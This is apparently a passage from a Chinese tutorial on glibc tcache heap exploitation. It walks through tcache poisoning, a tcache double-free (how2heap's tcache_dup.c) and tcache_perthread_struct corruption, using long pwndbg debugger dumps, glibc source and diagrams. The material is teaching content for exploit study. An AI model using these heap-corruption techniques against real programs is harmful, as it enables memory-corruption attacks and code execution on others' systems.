36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650
pwndbg> ni
0x00005555555548c3	28		intptr_t *b = malloc(128);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RBX  0x0
 RCX  0x555555756010 ◂— 0xff00000000000000
 RDX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RDI  0x555555554650 (_start) ◂— xor    ebp, ebp
 RSI  0x555555756048 ◂— 0x0
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x2c00000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x5555555548c3 (main+361) ◂— mov    qword ptr [rbp - 0x10], rax
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555548ac <main+338>    mov    rdi, rax
   0x5555555548af <main+341>    mov    eax, 0
   0x5555555548b4 <main+346>    call   fprintf@plt <0x555555554610>
 
   0x5555555548b9 <main+351>    mov    edi, 0x80
   0x5555555548be <main+356>    call   malloc@plt <0x555555554620>
 
  0x5555555548c3 <main+361>    mov    qword ptr [rbp - 0x10], rax
   0x5555555548c7 <main+365>    mov    rax, qword ptr [rip + 0x200792] <0x555555755060>
   0x5555555548ce <main+372>    mov    rdx, qword ptr [rbp - 0x10]
   0x5555555548d2 <main+376>    lea    rsi, [rip + 0x2b4]
   0x5555555548d9 <main+383>    mov    rdi, rax
   0x5555555548dc <main+386>    mov    eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
  28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
   31 
   32 	return 0;
   33 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp      0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│ rax rdx  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│          0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│          0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp      0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│          0x7fffffffdfd0 ◂— 0x0
07:0038│          0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> i r rax
rax            0x7fffffffdfa8	140737488347048

可以看出 tache posioning 这种方法和 fastbin attack 类似,但因为没有 size 的限制有了更大的利用范围。

tcache dup

类似 fastbin dup,不过利用的是 tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。

因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

以 how2heap 的 tcache_dup 为例分析,源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
glibc_2.26 [master] bat ./tcache_dup.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: ./tcache_dup.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    #include <stdio.h>
   2    #include <stdlib.h>
   3    
   4    int main()
   5    {
   6            fprintf(stderr, "This file demonstrates a simple double-free attack with
       │  tcache.\n");
   7    
   8            fprintf(stderr, "Allocating buffer.\n");
   9            int *a = malloc(8);
  10    
  11            fprintf(stderr, "malloc(8): %p\n", a);
  12            fprintf(stderr, "Freeing twice...\n");
  13            free(a);
  14            free(a);
  15    
  16            fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
  17            fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", ma
        lloc(8), malloc(8));
  18    
  19            return 0;
  20    }
───────┴─────────────────────────────────────────────────────────────────────────────────

调试一下,第一次 free

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pwndbg> n
14		free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x1
 RSI  0x555555756010 ◂— 0x1
 R8   0x0
 R9   0x7fffffffb79c ◂— 0x1a00000000
 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RIP  0x5555555547fc (main+162) ◂— mov    rax, qword ptr [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555547e4 <main+138>    lea    rdi, [rip + 0x171]
   0x5555555547eb <main+145>    call   fwrite@plt <0x555555554630>
 
   0x5555555547f0 <main+150>    mov    rax, qword ptr [rbp - 0x18]
   0x5555555547f4 <main+154>    mov    rdi, rax
   0x5555555547f7 <main+157>    call   free@plt <0x555555554600>
 
  0x5555555547fc <main+162>    mov    rax, qword ptr [rbp - 0x18]
   0x555555554800 <main+166>    mov    rdi, rax
   0x555555554803 <main+169>    call   free@plt <0x555555554600>
 
   0x555555554808 <main+174>    mov    rax, qword ptr [rip + 0x200851] <0x555555755060>
   0x55555555480f <main+181>    mov    rcx, qword ptr [rbp - 0x18]
   0x555555554813 <main+185>    mov    rdx, qword ptr [rbp - 0x18]
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
    9 	int *a = malloc(8);
   10 
   11 	fprintf(stderr, "malloc(8): %p\n", a);
   12 	fprintf(stderr, "Freeing twice...\n");
   13 	free(a);
  14 	free(a);
   15 
   16 	fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
   17 	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
   18 
   19 	return 0;
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
02:0010│      0x7fffffffdfc0 —▸ 0x7fffffffe0b0 ◂— 0x1
03:0018│      0x7fffffffdfc8 ◂— 0x0
04:0020│ rbp  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfd8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfe0 ◂— 0x0
07:0038│      0x7fffffffdfe8 —▸ 0x7fffffffe0b8 —▸ 0x7fffffffe3d8 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555756270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x555555756260

tcache 的第一条链放入了一个 chunk

第二次 free 时,虽然 free 的是同一个 chunk,但因为 tcache_put() 没有做任何检查,因此程序不会 crash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
pwndbg> n
16		fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x555555756260 ◂— 0x555555756260 /* '`buUUU' */
 RDI  0x2
 RSI  0x555555756010 ◂— 0x2
 R8   0x1
 R9   0x7fffffffb79c ◂— 0x1a00000000
 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554808 (main+174) ◂— mov    rax, qword ptr [rip + 0x200851]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555547f4 <main+154>    mov    rdi, rax
   0x5555555547f7 <main+157>    call   free@plt <0x555555554600>
 
   0x5555555547fc <main+162>    mov    rax, qword ptr [rbp - 0x18]
   0x555555554800 <main+166>    mov    rdi, rax
   0x555555554803 <main+169>    call   free@plt <0x555555554600>
 
  0x555555554808 <main+174>    mov    rax, qword ptr [rip + 0x200851] <0x555555755060>
   0x55555555480f <main+181>    mov    rcx, qword ptr [rbp - 0x18]
   0x555555554813 <main+185>    mov    rdx, qword ptr [rbp - 0x18]
   0x555555554817 <main+189>    lea    rsi, [rip + 0x152]
   0x55555555481e <main+196>    mov    rdi, rax
   0x555555554821 <main+199>    mov    eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   11 	fprintf(stderr, "malloc(8): %p\n", a);
   12 	fprintf(stderr, "Freeing twice...\n");
   13 	free(a);
   14 	free(a);
   15 
  16 	fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
   17 	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
   18 
   19 	return 0;
   20 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x555555756260 /* '`buUUU' */
02:0010│      0x7fffffffdfc0 —▸ 0x7fffffffe0b0 ◂— 0x1
03:0018│      0x7fffffffdfc8 ◂— 0x0
04:0020│ rbp  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfd8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfe0 ◂— 0x0
07:0038│      0x7fffffffdfe8 —▸ 0x7fffffffe0b8 —▸ 0x7fffffffe3d8 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555756270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x555555756260 --> 0x555555756260 (overlap chunk with 0x555555756250(freed) )

可以看出,这种方法与 fastbin dup 相比也简单了很多。

tcache perthread corruption

我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。

这里没找到太好的例子,自己想了一种情况

设想有如下的堆排布情况

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
tcache_    +------------+
\perthread |......      |
\_struct   +------------+
           |counts[i]   |
           +------------+
           |......      |          +----------+
           +------------+          |header    |
           |entries[i]  |--------->+----------+
           +------------+          |NULL      |
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

通过一些手段(如 tcache posioning),我们将其改为了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
tcache_    +------------+<---------------------------+
\perthread |......      |                            |
\_struct   +------------+                            |
           |counts[i]   |                            |
           +------------+                            |
           |......      |          +----------+      |
           +------------+          |header    |      |
           |entries[i]  |--------->+----------+      |
           +------------+          |target    |------+
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

这样,两次 malloc 后我们就返回了 tcache_prethread_struct 的地址,就可以控制整个 tcache 了。

因为 tcache_prethread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。

References & thanks to:

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

http://tukan.farm/2017/07/08/tcache/

https://github.com/bash-c/slides/blob/master/pwn_heap/tcache_exploitation.pdf

https://www.secpulse.com/archives/71958.html